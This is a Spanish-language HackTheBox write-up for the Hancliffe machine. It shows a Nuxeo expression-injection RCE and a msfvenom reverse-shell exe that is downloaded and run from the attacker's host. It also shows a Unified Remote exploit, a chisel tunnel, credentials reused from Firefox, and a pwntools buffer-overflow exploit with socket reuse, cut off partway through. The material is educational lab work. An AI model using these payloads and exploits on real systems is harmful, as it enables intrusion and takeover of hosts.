xchg2pwn

xchg2pwn


Entusiasta del reversing y desarrollo de exploits



HackTheBox

Hancliffe



Enumeración


Iniciamos la máquina escaneando los puertos de la máquina con nmap donde encontramos varios puertos abiertos entre ellos el 80 que corre un servicio http

❯ nmap 10.10.11.115
Nmap scan report for 10.10.11.115  
PORT     STATE SERVICE
80/tcp   open  http
8000/tcp open  http-alt
9999/tcp open  abyss

En el puerto 9999 que esta abierto parece que esta corriendo algun servicio personalizado sin embargo para acceder a el necesitamos credenciales validas

❯ netcat 10.10.11.115 9999
Welcome Brankas Application.
Username: username
Password: password
Username or Password incorrect  

En el puerto 8000 podemos encontrar un Password Manager que por ahora no nos sirve de nada y en el 80 una pagina por defecto de nginx sin nada interesante

Ya que no hay nada interesante podriamos usar wfuzz para intentar descubrir directorios bajo el puerto 80, la ruta /maintenance nos devuelve un 302

❯ wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -u http://10.10.11.115/FUZZ -t 100 --hc 404  
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.11.115/FUZZ
Total requests: 30000

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000618:   302        0 L      0 W        0 Ch        "maintenance"

Si miramos a donde nos redirige nos lleva a /nuxeo/Maintenance/, si intentamos acceder desde al navegador nos devolvera 404 ya que /nuxeo no existe

❯ curl -s 10.10.11.115/maintenance -I | grep Location  
Location: /nuxeo/Maintenance/

Al agregar una / al final devuelve un 200 ademas nos setea una cookie para /nuxeo

❯ curl http://10.10.11.115/maintenance/ -I
HTTP/1.1 200 
Server: nginx/1.21.0
Date: Sun, 22 Oct 2023 13:43:58 GMT
Content-Type: text/html;charset=ISO-8859-1
Connection: keep-alive
Vary: Accept-Encoding
X-Frame-Options: SAMEORIGIN
X-UA-Compatible: IE=10; IE=11
Cache-Control: no-cache, no-store, must-revalidate
X-Content-Type-Options: nosniff
Content-Security-Policy: img-src data: blob: *; default-src blob: *; script-src 'unsafe-inline' 'unsafe-eval' data: *; style-src 'unsafe-inline' *; font-src data: *  
X-XSS-Protection: 1; mode=block
Set-Cookie: JSESSIONID=466264FD2C98FE4830D890FC850FED8E.nuxeo; Path=/nuxeo; HttpOnly
Vary: Accept-Encoding

Buscando posibles vulnerabilidades llegamos a un pdf con diferentes payloads para romper la logica parser de diferentes lenguajes, podriamos probar ..; ya que esta montado en java y al enviarlo nos redirige a /nuxeo/nxstartup.faces

❯ curl 'http://10.10.11.115/maintenance/..;/' -b JSESSIONID=466264FD2C98FE4830D890FC850FED8E.nuxeo -I
HTTP/1.1 302 
Server: nginx/1.21.0
Date: Sun, 22 Oct 2023 13:45:06 GMT
Content-Type: text/html;charset=ISO-8859-1
Connection: keep-alive
X-Frame-Options: SAMEORIGIN
X-UA-Compatible: IE=10; IE=11
Cache-Control: no-cache, no-store, must-revalidate
X-Content-Type-Options: nosniff
Content-Security-Policy: img-src data: blob: *; default-src blob: *; script-src 'unsafe-inline' 'unsafe-eval' data: *; style-src 'unsafe-inline' *; font-src data: *  
X-XSS-Protection: 1; mode=block
Location: http://10.10.11.115/nuxeo/nxstartup.faces
Vary: Accept-Encoding

Al acceder al .faces carga un javascript que nuevamente nos redirige a un .jsp

❯ curl 'http://10.10.11.115/maintenance/..;/nuxeo/nxstartup.faces' -b JSESSIONID=466264FD2C98FE4830D890FC850FED8E.nuxeo -i
HTTP/1.1 401 
Server: nginx/1.21.0
Date: Sun, 22 Oct 2023 13:45:42 GMT
Content-Type: text/html;charset=UTF-8
Content-Length: 221
Connection: keep-alive
X-Frame-Options: SAMEORIGIN
X-UA-Compatible: IE=10; IE=11
Cache-Control: no-cache, no-store, must-revalidate
X-Content-Type-Options: nosniff
Content-Security-Policy: img-src data: blob: *; default-src blob: *; script-src 'unsafe-inline' 'unsafe-eval' data: *; style-src 'unsafe-inline' *; font-src data: *  
X-XSS-Protection: 1; mode=block

<script type="text/javascript">
document.cookie = 'nuxeo.start.url.fragment=' + encodeURIComponent(window.location.hash.substring(1) || '') + '; path=/';
window.location = 'http://10.10.11.115/nuxeo/login.jsp';
</script>

Podemos acceder al login.jsp desde el navegador aprovechandonos del ..; al acceder, abajo del todo podemos ver que esta corriendo Nuxeo en la verión FT 10.2


Shell - svc_account


Al buscar vulnerabilidades de este servicio nos lleva al CVE-2018-16341 que para saber si es vulnerable nos muestra un poc, enviamos /pwn${-7+7}.xhtml y lo interpreta

Podemos enviar ahora el payload que nos permite ejecutar comandos para comprobar y si nos enviamos un curl recibimos la petición, tenemos RCE

http://10.10.11.115/maintenance/..;/login.jsp/pwn${"".getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("curl 10.10.14.10",null).waitFor()}.xhtml  

❯ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...  
10.10.11.115 - - "GET / HTTP/1.1" 200 -

Para ganar acceso podemos crear un exe malicioso con msfvenom que nos envie una shell, despues ejecutamos un comando que lo descargue y otro que lo ejecute

❯ msfvenom -p windows/x64/powershell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f exe -o shell.exe  
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 1885 bytes
Final size of exe file: 8192 bytes
Saved as: shell.exe

curl 10.10.14.10/shell.exe -o C:\ProgramData\shell.exe  
cmd /c C:/ProgramData/shell.exe  

Al descargar el exe y ejecutarlo en la maquina victima nos envia una shell y solo con esto ya ganamos acceso como el usuario svc_account en la maquina victima

❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.115 
Windows PowerShell running as user svc_account on HANCLIFFE  
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Nuxeo> whoami
hancliffe\svc_account
PS C:\Nuxeo>


Shell - clara


Enumerando el equipo podemos ver que esta instalado Unified Remote 3 que tiene un exploit publico, sabemos que este servicio esta corriendo por puerto local 9512

PS C:\Program Files (x86)\Unified Remote 3> dir

    Directory: C:\Program Files (x86)\Unified Remote 3

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         6/12/2021  12:21 AM                Manager
d-----         6/12/2021  12:21 AM                uvhid
-a----         5/29/2017   4:55 AM        1846272 libcryptoMD.dll
-a----         5/29/2017   4:55 AM         382976 libsslMD.dll
-a----         11/3/2020   4:50 PM        3243784 RemoteServerWin.exe  
-a----         6/12/2021  12:21 AM         183608 unins000.dat
-a----         6/12/2021  12:19 AM        2580744 unins000.exe
-a----         6/12/2021  12:21 AM          23277 unins000.msg
-a----        10/10/2016   6:27 AM         556544 wcl.dll
-a----        10/10/2016   5:34 AM         188416 wcl2wbt.dll

PS C:\Program Files (x86)\Unified Remote 3> netstat -nat | Select-String 9512

  TCP    0.0.0.0:9512           0.0.0.0:0              LISTENING       InHost  
  UDP    0.0.0.0:9512           *:*                                                

PS C:\Program Files (x86)\Unified Remote 3>

Como desde fuera no tenemos acceso a ese puerto creamos un tunel con chisel

PS C:\ProgramData> curl 10.10.14.10/chisel.exe -o chisel.exe  
PS C:\ProgramData> .\chisel.exe client 10.10.14.10:9999 R:socks  

❯ chisel server --reverse --port 9999
server: Reverse tunnelling enabled
server: Listening on http://0.0.0.0:9999
server: session#1: tun: proxy#R:127.0.0.1:1080=>socks: Listening  

Ahora pasando por el proxy con proxychains podemos ejecutar el exploit que requiere 3 argumentos, la ip victima, nuestra ip y el nombre del exe a ejecutar

❯ proxychains -q python2 49587.py 10.10.11.115 10.10.14.10 shell.exe  
[+] Connecting to target...
[+] Popping Start Menu
[+] Opening CMD
[+] *Super Fast Hacker Typing*
[+] Downloading Payload
[+] Done! Check listener?

Despues de ejecutar el exploit este descarga nuestro exe malicioso y al ejecutarlo nos envia una shell como el usuario que corre el servicio que es clara

❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.115 52636
Windows PowerShell running as user clara on HANCLIFFE
Copyright (C) Microsoft Corporation. All rights reserved.  

PS C:\Users\clara> whoami
hancliffe\clara
PS C:\Users\clara> type Desktop\user.txt
cce**************************bb8
PS C:\Users\clara>


Shell - development


Para enumerar el equipo podemos ejecutar winpeas que entre mucha informacion nos muestra unas credenciales en texto plano que fueron guardadas en firefox

╔══════════╣ Showing saved credentials for Firefox
     Url:           http://localhost:8000
     Username:      hancliffe.htb
     Password:      #@H@ncLiff3D3velopm3ntM@st3rK3y*!  

Aunque en la credencial no se especifica un usuario por descarte podemos deducir que es de development sin embargo la contrasña no es valida en el sistema

PS C:\Users\clara> net user

User accounts for \\HANCLIFFE

--------------------------------------------------------------------------  
Administrator            clara                    DefaultAccount           
development              Guest                    svc_account              
WDAGUtilityAccount       

The command completed successfully.

PS C:\Users\clara>

Al inicio habiamos visto un Password Manager asi que como el usuario development y la contraseña encontrada podemos intentar generar la contraseña del usuario

La nueva contraseña generada es valida en el sistema para el usuaro development, este usuario puede conectarse a winrm por lo que podemos ganar una shell

❯ proxychains -q evil-winrm -i 10.10.11.115 -u development -p 'AMl.q2DHp?2.C/V0kNFU'  
PS C:\Users\development\Documents> whoami
hancliffe\development
PS C:\Users\development\Documents>


Shell - Administrator


Mirando las rutas excluidas para Windows Defender a traves de registros podemos encontrar un binario MyFirstApp.exe que se encuentra en la ruta C:\DevApp

PS C:\Users\development\Documents> reg query 'HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths'  

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths
    C:\DevApp\MyFirstApp.exe    REG_DWORD    0x0

PS C:\Users\development\Documents>

En esa ruta se encuentra el exe ademas de un script en powershell que simplemente se encarga de reiniciar el proceso cada 3 minutos y exponerlo en el puerto 9999, ya que es el servicio que corre en ese puerto lo descargaremos para analizarlo

PS C:\DevApp> dir

    Directory: C:\DevApp

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         9/14/2021   5:02 AM          60026 MyFirstApp.exe  
-a----         9/14/2021  10:57 AM            636 restart.ps1

PS C:\DevApp> download MyFirstApp.exe MyFirstApp.exe

Info: Downloading C:\DevApp\MyFirstApp.exe to MyFirstApp.exe

Info: Download successful!

PS C:\DevApp>

Iniciemos analizando el binario, para ello podemos usar un desensamblador como ida, la función main inicia llamando a WSAStartup que inicia el uso del archivo dll de Winsock, luego llama a getaddrinfo estableciendo los datos de esta estructura

Luego llama a socket que crea un nuevo socket y guarda el descriptor en una variable s, si esta es igual a -1 lanza un error de lo contrario sigue la flecha verde

Ahora usando srand y rand basandose en el tiempo usando la función time crea un numero de puerto aleatorio entre 9000 y 9999, luego utiliza htons para darle el formato de puerto, lo asigna a la estructura y muestra este puerto con printf

Luego llama a bind para vincular el socket a la dirección obtenida y a listen para ponerse en escucha de nuevas conexiones utilizando ese puerto aleatorio

Si se recibe una conexión la acepta utilizando accept que devuelve un nuevo descriptor, muestra un mensaje que recibió una conexión y crea un nuevo hilo llamando a la función cHandler que se encarga de controlar las conexiones

La función cHandler inicia reservando espacios de memoria de 0x400 o 1024 bytes, luego con send envia un mesnaje de bienvenida, siguiendo la linea verde compara el nuevo descriptor con 0, esto con el fin de comprobar que tenga asignado un valor

Luego mueve a auth el valor 0, luego con send muestra un mensaje que pide un usuario para luego recibir un buffer que copia a la variable username con strncpy

Repite este mismo proceso pero para la variable password, en resumen recibe un usuario y una contraseña, una vez recibió ambos llama a la función login pasandoselos como argumentos y hace un salto condicional con el resultado

Inicia definiendo como usuario la string alfiansyah, y como contraseña una cadena que parece ser base64, luego le pasa el segundo parametro como argumento a encrypt1 y el valor que esta función devuelve lo pasa a encrypt2, mide la longitud, cifra la cadena en base64 y lo compara con la cadena en base64 que define al inicio

Si la contraseña que recibe como argumento al cifrarse es igual a la cadena en base64 definida al inicio devuelve true, de lo contrario simplemente un false

Analicemos encrypt1, inicia llamando a strdup con el argumento para duplicarlo en password, luego se inicia una variable c a 0 que servira como contador, compara que no sea mayor que la longitud de la cadena y si no es asi compara el byte actual sea mayor que 0x20 asegurandose que sea un caracter ascii y no menor

Luego compara el que el byte sea menor que 0x7f ya que es el valor máximo de caractéres ascii, si es un caracter válido mueve su valor a eax y le suma 47 con add, si el resultado de esta operación es menor que 0x7f mueve el caracter sin cambios pero si es mayor que 0x7e resta 0x5e, esto es un cifrado muy conocido llamado rot47, ahora que sabemos la operación podemos realizarla a la inversa

Vamos con encrypt2, este inicia duplicando el argumento a password con strdup, inicializa c a 0 como contador, luego compara que no sea mas grande que la longitud que la string, mueve el byte actual a eax y compara si es mayor que 0x40 osea que sea igual o mayor a 0x41 que en representación ascii es A o mayor

Tambien compara que sea igual o menor que 0x5a que en ascii es Z, realiza la misma comparación con a y z minuscula por lo que podriamos tomarlo como un if que compara que el byte esté entre A-Z o a-z, luego compara si el caracter es mayuscula o minuscula, dependiendo del resultado de la un valor a la variable uppercase, en el caso de que sea mayuscula la convierte a minuscula agregando 0x20, podemos ver su funcionamiento bastante resumido en python con ord y chr

❯ python3 -q
>>> chr(ord("A") + 0x20)  
'a'
>>>

Ahora mueve el caracter ya en minuscula a eax y le resta 0x61, luego mueve a ecx 0x7a y le resta el valor en eax, por lo que podriamos describirlo como 0x7a - (character - 0x61), esto si lo vemos en python convierte la a en z, la b en y, la c en x, esto se llama cifrado espejo o atbash, ya tenemos todoss los cifrados

❯ python3 -q
>>> chr(0x7a - (ord("a") - 0x61))  
'z'
>>> chr(0x7a - (ord("b") - 0x61))  
'y'
>>> chr(0x7a - (ord("c") - 0x61))  
'x'
>>>

Al ser cifrados sencillos podemos decifrar la cadena ayudandonos de cyberchef, ahora tenemos el usuario y contraseña en texto plano y podemos autenticarnos

Volvemos a cHandler, después de llamar a auth si este devuelve true reserva un espacio en memoria y ahora recibe el campo fullname, si auth devuelve false simplemente cierra el socket enviando un mensaje de credenciales incorrectas

El siguiente bloque reserva un espacio en memoria esta vez para un campo code, luego llama a SaveCreds pasandole el buffer recibido como argumento, luego compara lo que esta función devuelve con la string T3D83CbJkl1299

Si el código correcto compara que la variable fullname sea igual a Vickry Alfiansyah para enviar el mensaje Unlocked, si es incorrecto envia un mensaje y cierra el socket

Ya obtenida la contraseña podemos autenticarnos al servicio con todos los datos que hemos conseguido, y aunque nos dice Unlocked no podemos hacer nada

❯ netcat 192.168.100.5 9232
Welcome Brankas Application.     
Username: alfiansyah
Password: K3r4j@@nM4j@pAh!T
Login Successfully!
FullName: Vickry Alfiansyah
Input Your Code: T3D83CbJkl1299
Unlocked

Si revisamos la función SaveCreds que recibe el código copia este código a un destino que se encuentra en ebp - 62, esto es importante porque si enviamos un payload mayor a eso ocasionaremos un buffer overflow sobrescribiendo otros datos

Para poder debuggear el ejecutable ejecutaremos la aplicación dentro WinDbg

Si el buffer reservado para el código se encuentra en ebp - 62 enviaremos A's para llenar ese buffer, luego enviaremos 4 B's para el valor que tomará ebp, 4 C's que sobrescribirán la dirección de retorno y 30 D's que solo se guardarán en el stack

#!/usr/bin/python3
from pwn import remote, log, sys

if len(sys.argv) < 2:
    log.failure(f"Usage: python3 {sys.argv[0]} <port>")
    sys.exit(1)

payload  = b""
payload += b"A" * 62
payload += b"B" * 4
payload += b"C" * 4
payload += b"D" * 30

shell = remote("192.168.100.5", sys.argv[1])

shell.sendlineafter(b"Username: ", b"alfiansyah")
shell.sendlineafter(b"Password: ", b"K3r4j@@nM4j@pAh!T")  
shell.sendlineafter(b"FullName: ", b"Vickry Alfiansyah")  
shell.sendlineafter(b"Input Your Code: ", payload)

Algo a tener en cuenta es que como vimos al reversear el puerto es dinamico por lo que es mas sencillo pasarle el puerto al script simplemente como un argumento

❯ python3 exploit.py 9217
[+] Opening connection to 192.168.100.5 on port 9217: Done  
[*] Closed connection to 192.168.100.5 port 9217

Al ejecutar el exploit podemos ver que las B's sobrescriben el valor de ebp y las C's sobrescriben el retorno, sin embargo solo hay una cosa que no se representó correctamente y es que de las 30 D's enviadas solo se guardaron 10 en el stack

0:000> g
(2bb8.1a84): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00d6fed6 ebx=0000015c ecx=007b3db4 edx=00000000 esi=71901a3d edi=71901a3d  
eip=43434343 esp=00d6ff1c ebp=42424242 iopl=0         nv up ei pl zr na pe nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246  
43434343 ??              ???

0:000> r ebp
ebp=42424242

0:000> r eip
eip=43434343

0:000> db esp
00d6ff1c  44 44 44 44 44 44 44 44-44 44 ab ab ab ab ab ab  DDDDDDDDDD......
00d6ff2c  ab ab 00 00 00 00 00 00-00 4b 33 72 34 6a 40 40  .........K3r4j@@
00d6ff3c  6e 4d 34 6a 40 70 41 68-21 54 61 6c 66 69 61 6e  nM4j@pAh!Talfian
00d6ff4c  73 79 61 68 12 00 00 00-c0 3d 7b 00 58 3d 7b 00  syah.....={.X={.
00d6ff5c  01 00 00 00 1d 00 00 00-5c 01 00 00 10 39 7b 00  ........\....9{.
00d6ff6c  00 00 00 00 00 00 00 00-84 ff d6 00 a9 7b 8a 77  .............{.w
00d6ff7c  5c 01 00 00 90 7b 8a 77-dc ff d6 00 0b c1 a1 77  \....{.w.......w
00d6ff8c  5c 01 00 00 f0 89 50 5f-00 00 00 00 00 00 00 00  \.....P_........

Solo 10 bytes es muy poco incluso para otras técnicas como egghunters, por suerte según documentación oficial de microsoft strcpy retorna un puntero al buffer de destino por lo que en eax se almacena la dirección del inicio de nuestro payload

0:000> db eax
00d6fed6  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA  
00d6fee6  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA  
00d6fef6  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA  
00d6ff06  41 41 41 41 41 41 41 41-41 41 41 41 41 41 42 42  AAAAAAAAAAAAAABB  
00d6ff16  42 42 43 43 43 43 44 44-44 44 44 44 44 44 44 44  BBCCCCDDDDDDDDDD  
00d6ff26  ab ab ab ab ab ab ab ab-00 00 00 00 00 00 00 4b  ...............K  
00d6ff36  33 72 34 6a 40 40 6e 4d-34 6a 40 70 41 68 21 54  3r4j@@nM4j@pAh!T  
00d6ff46  61 6c 66 69 61 6e 73 79-61 68 12 00 00 00 c0 3d  alfiansyah.....=  

En lugar de saltar a esp saltaremos a eax, de esta forma tendremos 66 bytes disponibles, aun no son suficientes para un shellcode pero es mejor que los 10 bytes de antes, con mona podemos obtener una dirección que ejecute ese jmp eax

0:000> !py mona jmp -r eax -m myfirstapp.exe
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py jmp -r eax -m myfirstapp.exe

---------- Mona command started on 2024-07-24 20:15:21 (v2.0, rev 636) ----------
[+] Processing arguments and criteria
    - Pointer access level : X
    - Only querying modules myfirstapp.exe
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
[+] Querying 1 modules
    - Querying module MyFirstApp.exe
    - Search complete, processing results
[+] Preparing output file 'jmp.txt'
    - (Re)setting logfile C:\mona\jmp.txt
[+] Writing results to C:\mona\jmp.txt
    - Number of pointers of type 'jmp eax' : 2 
    - Number of pointers of type 'call eax' : 60 
[+] Results : 
0x719023b3 |   0x719023b3 : jmp eax |  {PAGE_EXECUTE_READ} [MyFirstApp.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0-, 0x0  
0x71902c5f |   0x71902c5f : jmp eax |  {PAGE_EXECUTE_READ} [MyFirstApp.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0-, 0x0  
0x71901212 |   0x71901212 : call eax |  {PAGE_EXECUTE_READ} [MyFirstApp.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0-, 0x0  
0x719015a6 |   0x719015a6 : call eax |  {PAGE_EXECUTE_READ} [MyFirstApp.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0-, 0x0  
0x7190167a |   0x7190167a : call eax |  {PAGE_EXECUTE_READ} [MyFirstApp.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0-, 0x0  
0x71901708 |   0x71901708 : call eax |  {PAGE_EXECUTE_READ} [MyFirstApp.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0-, 0x0  
0x7190172e |   0x7190172e : call eax |  {PAGE_EXECUTE_READ} [MyFirstApp.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0-, 0x0  
0x71901765 |   0x71901765 : call eax |  {PAGE_EXECUTE_READ} [MyFirstApp.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0-, 0x0  
0x71901778 |   0x71901778 : call eax |  {PAGE_EXECUTE_READ} [MyFirstApp.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0-, 0x0  
0x71901798 |   0x71901798 : call eax |  {PAGE_EXECUTE_READ} [MyFirstApp.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0-, 0x0  
0x719017a2 |   0x719017a2 : call eax |  {PAGE_EXECUTE_READ} [MyFirstApp.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0-, 0x0  
0x7190180e |   0x7190180e : call eax |  {PAGE_EXECUTE_READ} [MyFirstApp.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0-, 0x0  
0x7190185b |   0x7190185b : call eax |  {PAGE_EXECUTE_READ} [MyFirstApp.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0-, 0x0  
0x7190186e |   0x7190186e : call eax |  {PAGE_EXECUTE_READ} [MyFirstApp.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0-, 0x0  
0x719018a7 |   0x719018a7 : call eax |  {PAGE_EXECUTE_READ} [MyFirstApp.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0-, 0x0  
0x719018ba |   0x719018ba : call eax |  {PAGE_EXECUTE_READ} [MyFirstApp.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0-, 0x0  
0x719018da |   0x719018da : call eax |  {PAGE_EXECUTE_READ} [MyFirstApp.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0-, 0x0  
0x719018ea |   0x719018ea : call eax |  {PAGE_EXECUTE_READ} [MyFirstApp.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0-, 0x0  
0x719018f4 |   0x719018f4 : call eax |  {PAGE_EXECUTE_READ} [MyFirstApp.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0-, 0x0  
0x7190191f |   0x7190191f : call eax |  {PAGE_EXECUTE_READ} [MyFirstApp.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0-, 0x0  
... Please wait while I'm processing all remaining results and writing everything to file... 
[+] Done. Only the first 20 pointers are shown here. For more pointers, open C:\mona\jmp.txt...
    Found a total of 62 pointers

Ahora en la dirección de retorno ejecutaremos el jmp eax por lo que saltará al inicio de nuestro payload e intentará representar las A's que enviamos como junk

#!/usr/bin/python3
from pwn import remote, log, sys, p32

if len(sys.argv) < 2:
    log.failure(f"Usage: python3 {sys.argv[0]} <port>")
    sys.exit(1)

offset = 66
junk = b"A" * offset

jmpeax = p32(0x719023b3)

payload = junk + jmpeax

shell = remote("192.168.100.5", sys.argv[1])

shell.sendlineafter(b"Username: ", b"alfiansyah")
shell.sendlineafter(b"Password: ", b"K3r4j@@nM4j@pAh!T")  
shell.sendlineafter(b"FullName: ", b"Vickry Alfiansyah")  
shell.sendlineafter(b"Input Your Code: ", payload)

Podemos comprobarlo ejecutando el exploit, al caer en el breakpoint del salto y ejecutarlo podemos ver que ahora en eip están las A's, pero aun tenemos la limitación de solo 66 bytes, en este post veremos 3 formas de explotación

0:000> bp 0x719023b3

0:000> g
Breakpoint 0 hit
eax=0101fed6 ebx=00000138 ecx=00c13b70 edx=000a7190 esi=71901a3d edi=71901a3d  
eip=719023b3 esp=0101ff1c ebp=41414141 iopl=0         nv up ei pl zr na pe nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246  
MyFirstApp+0x23b3:
719023b3 ffe0            jmp     eax {0101fed6}

0:000> p
eax=0101fed6 ebx=00000138 ecx=00c13b70 edx=000a7190 esi=71901a3d edi=71901a3d  
eip=0101fed6 esp=0101ff1c ebp=41414141 iopl=0         nv up ei pl zr na pe nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246  
0101fed6 41              inc     ecx

0:000> db eip
0101fed6  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0101fee6  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0101fef6  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0101ff06  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0101ff16  41 41 b3 23 90 71 0a 00-c1 00 90 3b c1 00 50 00  AA.#.q.....;..P.
0101ff26  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 4b  ...............K
0101ff36  33 72 34 6a 40 40 6e 4d-34 6a 40 70 41 68 21 54  3r4j@@nM4j@pAh!T
0101ff46  61 6c 66 69 61 6e 73 79-61 68 12 00 00 00 90 3b  alfiansyah.....;


Buffer Overflow - socket reuse


La primera forma de explotarlo es haciendo uso de la funcion recv() para recibir datos de nuevo del socket y ahi poder enviar nuestro shellcode a ejecutar

0:000> !py mona getiat -m myfirstapp.exe -s recv
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py getiat -m myfirstapp.exe -s recv

---------- Mona command started on 2024-07-24 20:18:34 (v2.0, rev 636) ----------
[+] Processing arguments and criteria
    - Pointer access level : X
    - Only querying modules myfirstapp.exe
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
[+] Querying 1 modules
[+] Preparing output file 'iatsearch.txt'
    - (Re)setting logfile C:\mona\iatsearch.txt
    Getting IAT for MyFirstApp.exe.
    Enumerating IAT
0x719082ac | At 0x719082ac in myfirstapp (base + 0x000082ac) : 0x766e5f50 (ptr to WS2_32.recv)  - [WS2_32] ASLR: True, Rebase: True, SafeSEH: False, CFG: True, OS: True, v10.0.22621.1 WS2_32.dll, 0x4140  

1 entries found

Mirando la documentación esta funcion requiere 4 parametros, el descriptor del socket, la direccion donde se escribiran los datos, la longitud maxima que podra recibir y por ultimo las flags que generalmente se puede dejar simplemente en 0

int recv(
  [in]  SOCKET s,
  [out] char   *buf,
  [in]  int    len,
  [in]  int    flags
);

Estos argumentos se pasan simplemente haciendoles un push en orden inverso para dejarlos en la pila, para entenderlo podemos hacer un breakpoint en el recv, los argumentos podemos establecerlos a nuestro gusto excepto uno, el descriptor del socket ya que al reutilizarlo necesitamos que sea el mismo que el inicial

0:000> bp 0x71901d74

0:000> g
Breakpoint 0 hit
eax=00000140 ebx=00000140 ecx=00000002 edx=00fcff08 esi=71901a3d edi=71901a3d
eip=71901d74 esp=00fcff1c ebp=00fcff74 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
MyFirstApp+0x1d74:
71901d74 a1ac829071      mov     eax,dword ptr [MyFirstApp+0x82ac (719082ac)] ds:002b:719082ac={WS2_32!recv (766e5f50)}  

0:000> dds esp L4
00fcff1c  00000140
00fcff20  00bc36e0
00fcff24  00000400
00fcff28  00000000

Unas instrucciones antes de la llamada podemos ver como establece los argumentos, el primero que es el descriptor lo toma de ebp - 0x10, sabemos su ubicación pero no podemos tomarla relativa a ebp ya que al explotar el buffer overflow sobrescribimos este puntero, asi que podemos calcularla relativa a esp que sería esp + 0x48

0:000> u eip-6 L4
MyFirstApp+0x1d6e:
71901d6e 8b45f0          mov     eax,dword ptr [ebp-10h]
71901d71 890424          mov     dword ptr [esp],eax
71901d74 a1ac829071      mov     eax,dword ptr [MyFirstApp+0x82ac (719082ac)]  
71901d79 ffd0            call    eax

0:000> dd ebp - 0x10 L1
00fcff64  00000140

0:000> ? (ebp - 0x10) - esp
Evaluate expression: 72 = 00000048

0:000> dd esp + 0x48 L1
00fcff64  00000140

La primera instruccion que ejecutaremos sera mover a esi el contenido de la direccion esp + 0x48 para asi almacenar el descriptor antes de alterar el stack

#!/usr/bin/python3
from pwn import remote, log, sys, p32, asm

if len(sys.argv) < 2:
    log.failure(f"Usage: python3 {sys.argv[0]} <port>")
    sys.exit(1)

recv  = b""
recv += asm("mov esi, [esp + 0x48]")

offset = 66
junk = b"A" * (offset - len(recv))

jmpeax = p32(0x719023b3)

payload = recv + junk + jmpeax

shell = remote("192.168.100.5", sys.argv[1])

shell.sendlineafter(b"Username: ", b"alfiansyah")
shell.sendlineafter(b"Password: ", b"K3r4j@@nM4j@pAh!T")  
shell.sendlineafter(b"FullName: ", b"Vickry Alfiansyah")  
shell.sendlineafter(b"Input Your Code: ", payload)

Al ejecutar la instruccion despues de saltar a eax podemos ver que el descriptor del socket se ha almacenado correctamente en el registro esi que usaremos después

0:000> bp 0x719023b3

0:000> g
Breakpoint 0 hit
eax=00f8fed6 ebx=0000013c ecx=00d83b70 edx=000a7190 esi=71901a3d edi=71901a3d
